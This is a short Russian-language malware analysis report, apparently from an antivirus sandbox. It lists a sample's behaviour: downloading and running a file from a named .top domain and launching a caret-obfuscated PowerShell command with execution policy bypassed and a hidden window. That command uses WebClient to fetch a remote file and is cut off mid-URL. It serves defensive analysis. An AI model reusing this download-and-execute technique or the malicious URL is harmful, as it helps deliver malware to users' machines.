Техническая информация
Вредоносные функции
Загружает и запускает на исполнение
- http://vvorootad.top/read.php?f=0.dat как %appdata%.exe
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /c "POwerS^H^ELL.^e^XE ^-^exeC^U^t^ioNpo^L^I^Cy ^B^y^pas^S -^nop^R^o^FI^L^E ^-Wi^N^Dow^STy^Le H^i^DDE^n^ (neW-oB^j^ect^ syStEm.^net^.wEBcLiE^N^T^)^.Do^WN^L^oa^D^fiLe('http://vvoro...
Сетевая активность
UDP
- DNS ASK vv###otad.top
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /c "POwerS^H^ELL.^e^XE ^-^exeC^U^t^ioNpo^L^I^Cy ^B^y^pas^S -^nop^R^o^FI^L^E ^-Wi^N^Dow^STy^Le H^i^DDE^n^ (neW-oB^j^ect^ syStEm.^net^.wEBcLiE^N^T^)^.Do^WN^L^oa^D^fiLe('http://vvoro...' (со скрытым окном)
